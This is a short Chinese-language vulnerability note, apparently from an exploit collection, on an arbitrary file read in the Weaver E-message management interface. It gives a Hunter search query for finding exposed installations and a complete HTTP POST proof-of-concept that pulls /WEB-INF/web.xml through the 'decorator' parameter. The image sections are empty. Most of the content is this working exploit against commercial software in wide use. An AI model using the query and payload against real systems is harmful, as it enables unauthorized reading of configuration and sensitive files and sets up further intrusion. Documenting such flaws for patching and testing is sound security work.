F7-1泛微-E-message-任意文件读取

漏洞描述：

泛微 emessage 管理界面存在任意文件读取漏洞隐患，攻击者可通过此漏洞获取敏感信息，为下一步攻击做准备。

网站图片：

网络测绘：

Hunter 语法：

- hunterapp.name=="emessage"

漏洞复现：

payload：

```
POST / HTTP/1.1
Host: xx.xx.xx.xx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=node03rmjswir0alnezvxvmi7jx8u1497.node0; csrf=P4jVgrrfqikGQQe
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

decorator=%2FWEB-INF%2Fweb.xml&confirm=true
```

效果图: